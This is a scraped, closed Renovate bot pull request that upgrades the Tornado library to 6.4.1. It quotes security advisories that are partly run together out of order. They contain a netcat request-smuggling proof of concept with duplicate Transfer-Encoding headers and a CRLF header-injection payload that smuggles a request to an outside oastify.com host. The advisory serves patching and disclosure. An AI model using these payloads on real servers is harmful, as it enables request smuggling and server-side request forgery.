Closed renovate[bot] closed 1 month ago
Because you closed this PR without merging, Renovate will ignore this update (==6.4.1
). You will get a PR once a newer version is released. To ignore this dependency forever, add it to the ignoreDeps
array of your Renovate config.
If you accidentally closed this PR, or if you changed your mind: rename this PR to get a fresh replacement PR.
This PR contains the following updates:
==6.4
->==6.4.1
GitHub Vulnerability Alerts
GHSA-753j-mpmx-qq6g
Summary
When Tornado receives a request with two
Transfer-Encoding: chunked
headers, it ignores them both. This enables request smuggling when Tornado is deployed behind a proxy server that emits such requests. Pound does this.PoC
class MainHandler(tornado.web.RequestHandler): def post(self): self.write(self.request.body)
async def main(): tornado.web.Application([(r"/", MainHandler)]).listen(8000) await asyncio.Event().wait()
asyncio.run(main()) EOF python3 server.py &
Z
printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\nTransfer-Encoding: chunked\r\n\r\n1\r\nZ\r\n0\r\n\r\n' | nc localhost 8000
HTTP/1.1 200 OK Server: TornadoServer/6.3.3 Content-Type: text/html; charset=UTF-8 Date: Sat, 07 Oct 2023 17:35:40 GMT Content-Length: 0
HTTP/1.1 400 Bad Request
When the specified server receives the request, it contains the injected header (
Header: Injected
) on its own line:The attacker can also construct entirely new requests using a payload with multiple CRLF sequences. For example, specifying a header value of
\r\n\r\nPOST /attacker-controlled-url HTTP/1.1\r\nHost: 727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com
results in the server receiving an additional, attacker-controlled request:Impact
Applications using the Tornado library to send HTTP requests with untrusted header data are affected. This issue may facilitate the exploitation of server-side request forgery (SSRF) vulnerabilities.
Release Notes
tornadoweb/tornado (tornado)
### [`v6.4.1`](https://togithub.com/tornadoweb/tornado/compare/v6.4.0...v6.4.1) [Compare Source](https://togithub.com/tornadoweb/tornado/compare/v6.4.0...v6.4.1)Configuration
📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).
🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.
♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 Ignore: Close this PR and you won't be reminded about this update again.
This PR was generated by Mend Renovate. View the repository job log.